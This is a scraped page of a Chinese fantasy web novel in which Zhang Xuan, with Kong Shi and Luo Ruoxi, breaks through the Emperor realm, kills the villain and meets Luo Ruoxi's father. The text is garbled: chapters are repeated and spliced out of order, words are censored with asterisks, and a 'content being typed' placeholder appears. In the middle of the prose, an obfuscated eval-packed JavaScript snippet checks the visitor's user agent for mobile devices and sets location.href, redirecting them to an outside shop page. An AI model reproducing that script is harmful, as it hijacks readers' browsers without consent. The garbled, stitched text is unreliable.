孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546000|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第28章看似和谐喜庆的氛围之下,暗流汹涌 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 